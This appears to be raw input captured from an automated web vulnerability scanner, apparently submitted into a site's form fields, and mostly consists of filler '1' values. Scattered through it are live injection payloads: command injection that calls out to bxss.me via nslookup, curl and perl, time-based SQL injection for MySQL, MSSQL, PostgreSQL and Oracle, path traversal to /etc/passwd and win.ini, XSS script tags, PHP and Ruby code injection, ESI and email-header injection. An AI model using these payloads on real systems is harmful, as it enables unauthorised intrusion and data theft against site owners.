&(nslookup${IFS}-q${IFS}cname${IFS}hitptrlolwrap2b583.bxss.me||curl${IFS}hitptrlolwrap2b583.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitptrlolwrap2b583.bxss.me||curl${IFS}hitptrlolwrap2b583.bx
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
1
1
Http://bxss.me/t/fit.txt
1
http://bxss.me/t/fit.txt%3F.jpg
1
1
/etc/shells
1
1
../../../../../../../../../../../../../../etc/shells
1
1
c:/windows/win.ini
1
bxss.me
1
1
1
1
1
'"()
1
1
'&&sleep(27*1000)*afnrfv&&'
1
"&&sleep(27*1000)*pbrgqm&&"
'.gethostbyname(lc('hitrb'.'rprzbnnk43c6d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(67).chr(114).chr(71).'
'||sleep(27*1000)*msjnnx||'
1
".gethostbyname(lc("hiteg"."buzsbzwr4ec3a.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(80).chr(106).chr(75)."
1
"||sleep(27*1000)*erbxye||"
gethostbyname(lc('hitxo'.'obxizvkp44fc3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(88).chr(113).chr(80)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
17ZPVVVDE0
1
response.write(9752678*9847794)
1
'"
1
1
'+response.write(9752678*9847794)+'
<!--
1
"+response.write(9752678*9847794)+"
1
1
1
1
1'"()&%<zzz><ScRiPt >B8N5(9321)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
qpyojxkt
1
'"()&%<zzz><ScRiPt >B8N5(9356)</ScRiPt>
1
Fs3D0QKN: ankXe8D0
echo vsshhh$()\ jzojzv\nz^xyu||a #' &echo vsshhh$()\ jzojzv\nz^xyu||a #|" &echo vsshhh$()\ jzojzv\nz^xyu||a #
1
1
1
1
1
&echo pjvhsh$()\ sletmz\nz^xyu||a #' &echo pjvhsh$()\ sletmz\nz^xyu||a #|" &echo pjvhsh$()\ sletmz\nz^xyu||a #
19107035
1
1
1
1
1&echo sgsoqv$()\ umpnqu\nz^xyu||a #' &echo sgsoqv$()\ umpnqu\nz^xyu||a #|" &echo sgsoqv$()\ umpnqu\nz^xyu||a #
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
|echo aettbj$()\ adwiov\nz^xyu||a #' |echo aettbj$()\ adwiov\nz^xyu||a #|" |echo aettbj$()\ adwiov\nz^xyu||a #
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1|echo jcjgft$()\ eipzof\nz^xyu||a #' |echo jcjgft$()\ eipzof\nz^xyu||a #|" |echo jcjgft$()\ eipzof\nz^xyu||a #
1
1
file:///etc/passwd
1
1
1
expr 9000394393 - 975994
1
1
1
1
1
1
1
(nslookup -q=cname hitqkwqfaanplafa76.bxss.me||curl hitqkwqfaanplafa76.bxss.me))
1
1
../1
1
1
1
$(nslookup -q=cname hitquzwckxeks90624.bxss.me||curl hitquzwckxeks90624.bxss.me)
1
1
1
1
1
1
1
1
1
&nslookup -q=cname hitlppctzwbxd458f0.bxss.me&'\"`0&nslookup -q=cname hitlppctzwbxd458f0.bxss.me&`'
1
1
1
1
1
1
&(nslookup -q=cname hitrnbttzhwuu69201.bxss.me||curl hitrnbttzhwuu69201.bxss.me)&'\"`0&(nslookup -q=cname hitrnbttzhwuu69201.bxss.me||curl hitrnbttzhwuu69201.bxss.me)&`'
1
1
1
1
1
1
1
1
|(nslookup -q=cname hityoiqxrghed75925.bxss.me||curl hityoiqxrghed75925.bxss.me)
1
1
1
1
1
1
`(nslookup -q=cname hitomrlggunukd4976.bxss.me||curl hitomrlggunukd4976.bxss.me)`
1
1
1
1
1
1
;(nslookup -q=cname hitmtvoxbvicf24182.bxss.me||curl hitmtvoxbvicf24182.bxss.me)|(nslookup -q=cname hitmtvoxbvicf24182.bxss.me||curl hitmtvoxbvicf24182.bxss.me)&(nslookup -q=cname hitmtvoxbvicf24182.b
1
1
1
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitqerflebrlcbc1ef.bxss.me||curl${IFS}hitqerflebrlcbc1ef.bxss.me)
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitrocmgavujmf784e.bxss.me||curl${IFS}hitrocmgavujmf784e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitrocmgavujmf784e.bxss.me||curl${IFS}hitrocmgavujmf784e.bx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999977+10000281}
1
1
1
1
1
1
1
1
1
1
1
1
1
1WNKxfyBP
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+858-858-1=0+0+0+1 --
1
1
1
1
1
1
1
-1 OR 2+75-75-1=0+0+0+1
1
1
1
1
1
1
-1' OR 2+656-656-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
-1' OR 2+994-994-1=0+0+0+1 or 'wI9HkV57'='
1
1
1
1
1
1
1
-1" OR 2+344-344-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1&n909354=v963113
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
/etc/shells
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
186UasmoQ'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 OR 687=(SELECT 687 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 812=(SELECT 812 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 572=(SELECT 572 FROM PG_SLEEP(15))--
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1ybUwp9Jj' OR 843=(SELECT 843 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1A4Y1NrxJ') OR 364=(SELECT 364 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1SxntYUaU')) OR 744=(SELECT 744 FROM PG_SLEEP(15))--
"+"A".concat(70-3).concat(22*4).concat(107).concat(78).concat(122).concat(78)+(require"socket" Socket.gethostbyname("hitlq"+"irflflsy633e2.bxss.me.")[3].to_s)+"
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(119).concat(68).concat(107).concat(84)+(require'socket' Socket.gethostbyname('hitam'+'slnartiqc48e5.bxss.me.')[3].to_s)+'
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(107).concat(67).concat(113).concat(72)+(require'socket' Socket.gethostbyname('hitjc'+'qncfodrw24383.bxss.me.')[3].to_s)
create
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
create/.
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@8E0ks
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitdn'.'vptjuhxt0f86c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(76).chr(110).chr(82).'
1
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitlg"."vqjcjlhdac9d3.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(77).chr(106).chr(81)."
1
1
1
1
1
1
1
1
gethostbyname(lc('hitrt'.'cmecdxyw2bf67.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(74).chr(104).chr(73)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1'&&sleep(27*1000)*bdhzph&&'
1
1
1
1
1
1
1
1"&&sleep(27*1000)*oupqvw&&"
1
1
1
1
1
1
1
1
1'||sleep(27*1000)*jtldgo||'
1
1
1
1
1
1
1
1
1
1"||sleep(27*1000)*twuxqc||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9526150*9678340)
1
'"
'+response.write(9526150*9678340)+'
1
1
<!--
"+response.write(9526150*9678340)+"
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >LfDn(9207)</ScRiPt>
1
1
1
d67ALdVA
1
'"()&%<zzz><ScRiPt >LfDn(9070)</ScRiPt>
1
1
echo hhwvxw$()\ mgmqwy\nz^xyu||a #' &echo hhwvxw$()\ mgmqwy\nz^xyu||a #|" &echo hhwvxw$()\ mgmqwy\nz^xyu||a #
F9Ss8J99: SyNbY76j
1
1jTuvrya1
1
19279899
&echo ykcubf$()\ egknww\nz^xyu||a #' &echo ykcubf$()\ egknww\nz^xyu||a #|" &echo ykcubf$()\ egknww\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1&echo ytturi$()\ aujver\nz^xyu||a #' &echo ytturi$()\ aujver\nz^xyu||a #|" &echo ytturi$()\ aujver\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
|echo jgaexy$()\ utqubg\nz^xyu||a #' |echo jgaexy$()\ utqubg\nz^xyu||a #|" |echo jgaexy$()\ utqubg\nz^xyu||a #
-1 OR 2+244-244-1=0+0+0+1 --
1
1
1
file:///etc/passwd
1
1|echo zjbcuo$()\ skxpgz\nz^xyu||a #' |echo zjbcuo$()\ skxpgz\nz^xyu||a #|" |echo zjbcuo$()\ skxpgz\nz^xyu||a #
1
-1 OR 2+845-845-1=0+0+0+1
1
1
1
1
1
expr 9000877563 - 972905
-1' OR 2+513-513-1=0+0+0+1 --
1
1
1
../1
1
1
(nslookup -q=cname hitnphobusmgi26c6e.bxss.me||curl hitnphobusmgi26c6e.bxss.me))
-1' OR 2+877-877-1=0+0+0+1 or 'ZgH8qoS2'='
1
1
1
1
1
$(nslookup -q=cname hitecojabrvsh81f3a.bxss.me||curl hitecojabrvsh81f3a.bxss.me)
1
1
1
1
1
-1" OR 2+190-190-1=0+0+0+1 --
1
&nslookup -q=cname hitqfafecsifaea6a0.bxss.me&'\"`0&nslookup -q=cname hitqfafecsifaea6a0.bxss.me&`'
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
&(nslookup -q=cname hitwkyxzocqridbfc6.bxss.me||curl hitwkyxzocqridbfc6.bxss.me)&'\"`0&(nslookup -q=cname hitwkyxzocqridbfc6.bxss.me||curl hitwkyxzocqridbfc6.bxss.me)&`'
1
1
1
1
1
|(nslookup -q=cname hitahxgoeljzh802a9.bxss.me||curl hitahxgoeljzh802a9.bxss.me)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
`(nslookup -q=cname hitycxfzbfvna42e61.bxss.me||curl hitycxfzbfvna42e61.bxss.me)`
1
1
1
1
1
1
1
;(nslookup -q=cname hitcbbshhoxid71482.bxss.me||curl hitcbbshhoxid71482.bxss.me)|(nslookup -q=cname hitcbbshhoxid71482.bxss.me||curl hitcbbshhoxid71482.bxss.me)&(nslookup -q=cname hitcbbshhoxid71482.b
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitbkrpgoxmsa89426.bxss.me||curl${IFS}hitbkrpgoxmsa89426.bxss.me)
1
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitqgjrwzfsuyce294.bxss.me||curl${IFS}hitqgjrwzfsuyce294.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqgjrwzfsuyce294.bxss.me||curl${IFS}hitqgjrwzfsuyce294.bx
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1JTuyDpDn'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1-1 OR 517=(SELECT 517 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1-1) OR 32=(SELECT 32 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 842=(SELECT 842 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
19nm6GNKg' OR 441=(SELECT 441 FROM PG_SLEEP(15))--
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1Tt6XBSmU') OR 438=(SELECT 438 FROM PG_SLEEP(15))--
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1HTm9i3Kl')) OR 614=(SELECT 614 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
${9999882+9999341}
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@tuN7H
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n936520=v994460
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
/etc/shells
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(108).concat(83).concat(109).concat(78)+(require"socket" Socket.gethostbyname("hitxe"+"hbgknipt80f61.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(116).concat(65).concat(122).concat(77)+(require'socket' Socket.gethostbyname('hitgh'+'prmsxeaa0b748.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(114).concat(72).concat(98).concat(78)+(require'socket' Socket.gethostbyname('hitqe'+'zsepbouvf1e40.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitym'.'lwyvdwmoda6ac.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(86).chr(115).chr(87).'
1
1
1
1
1
1
1
1
1
".gethostbyname(lc("hittb"."gvbxcexr30a6d.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(72).chr(121).chr(67)."
1
1
1
1
1
1
1
1
1
gethostbyname(lc('hitew'.'opcfnafv9c909.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(89).chr(117).chr(65)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
1'&&sleep(27*1000)*xlekxm&&'
1
1
1
1
1
1
1
1
1"&&sleep(27*1000)*jqjfxo&&"
1
1
1
1
1
1
1
1
1'||sleep(27*1000)*soyoyg||'
1
1
1
1
1
1
1
1
1"||sleep(27*1000)*rnstii||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<esi:include src="http://bxss.me/rpb.png"/>
response.write(9392182*9251336)
'+response.write(9392182*9251336)+'
"+response.write(9392182*9251336)+"
%0abcc:009247.49-1211.49.c324a.20155.2@bxss.me
to@example.com>%0d%0abcc:009247.49-1212.49.c324a.20155.2@bxss.me
"+"A".concat(70-3).concat(22*4).concat(116).concat(83).concat(120).concat(66)+(require"socket" Socket.gethostbyname("hitnr"+"fruzxxxz9878d.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(98).concat(88).concat(108).concat(74)+(require'socket' Socket.gethostbyname('hitjx'+'agpczsrf14ea2.bxss.me.')[3].to_s)+'
echo utyjtd$()\ hekwcl\nz^xyu||a #' &echo utyjtd$()\ hekwcl\nz^xyu||a #|" &echo utyjtd$()\ hekwcl\nz^xyu||a #
&echo jwhwgx$()\ taonxl\nz^xyu||a #' &echo jwhwgx$()\ taonxl\nz^xyu||a #|" &echo jwhwgx$()\ taonxl\nz^xyu||a #
|echo acuxtv$()\ wclata\nz^xyu||a #' |echo acuxtv$()\ wclata\nz^xyu||a #|" |echo acuxtv$()\ wclata\nz^xyu||a #
(nslookup hitvwrodeevmq4d668.bxss.me||perl -e "gethostbyname('hitvwrodeevmq4d668.bxss.me')")
$(nslookup hitmhtjrtwnzk9033d.bxss.me||perl -e "gethostbyname('hitmhtjrtwnzk9033d.bxss.me')")
&(nslookup hitqbhfbnmbee96861.bxss.me||perl -e "gethostbyname('hitqbhfbnmbee96861.bxss.me')")&'\"`0&(nslookup hitqbhfbnmbee96861.bxss.me||perl -e "gethostbyname('hitqbhfbnmbee96861.bxss.me')")&`'
|(nslookup hitpvrhdclcjqbd436.bxss.me||perl -e "gethostbyname('hitpvrhdclcjqbd436.bxss.me')")
'.gethostbyname(lc('hitzq'.'iuxevsvobc671.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(82).chr(109).chr(76).'
`(nslookup hitbhtmjjzssx181de.bxss.me||perl -e "gethostbyname('hitbhtmjjzssx181de.bxss.me')")`
".gethostbyname(lc("hitgf"."mhzyqcet47835.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(70).chr(112).chr(82)."
)
;(nslookup hitxqfgqomxgic07b9.bxss.me||perl -e "gethostbyname('hitxqfgqomxgic07b9.bxss.me')")|(nslookup hitxqfgqomxgic07b9.bxss.me||perl -e "gethostbyname('hitxqfgqomxgic07b9.bxss.me')")&(nslookup hit
!(()&&!|*|*|
^(#$!@#$)(()))******
/xfs.bxss.me
